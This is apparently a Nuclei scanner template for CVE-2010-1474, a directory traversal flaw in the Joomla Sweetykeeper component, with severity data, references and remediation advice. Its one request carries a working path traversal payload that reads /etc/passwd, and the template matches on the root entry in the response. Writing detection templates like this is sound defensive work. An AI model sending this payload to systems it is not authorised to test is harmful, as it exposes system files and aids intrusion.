id: CVE-2010-1474

info:
  name: Joomla! Component Sweetykeeper 1.5 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Sweety Keeper (com_sweetykeeper) component 1.5.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: |
    Update to the latest version of Joomla! Component Sweetykeeper or apply the necessary patches to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12182
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1474
    - http://www.exploit-db.com/exploits/12182
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57662
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1474
    cwe-id: CWE-22
    epss-score: 0.00983
    epss-percentile: 0.77048
    cpe: cpe:2.3:a:supachai_teasakul:com_sweetykeeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: supachai_teasakul
    product: com_sweetykeeper
  tags: cve2010,cve,joomla,lfi,edb,supachai_teasakul,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_sweetykeeper&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fd4b9adf7f5dc7b59d3c6494c3a3531c66656b59dee38c6e2ae5da666eb56abd02201731b9dbfe61f4223f8e86af53e4adf9808021d48819bbbb9961ab6a97e7f46c:922c64590222798bb761d5b6d8e72950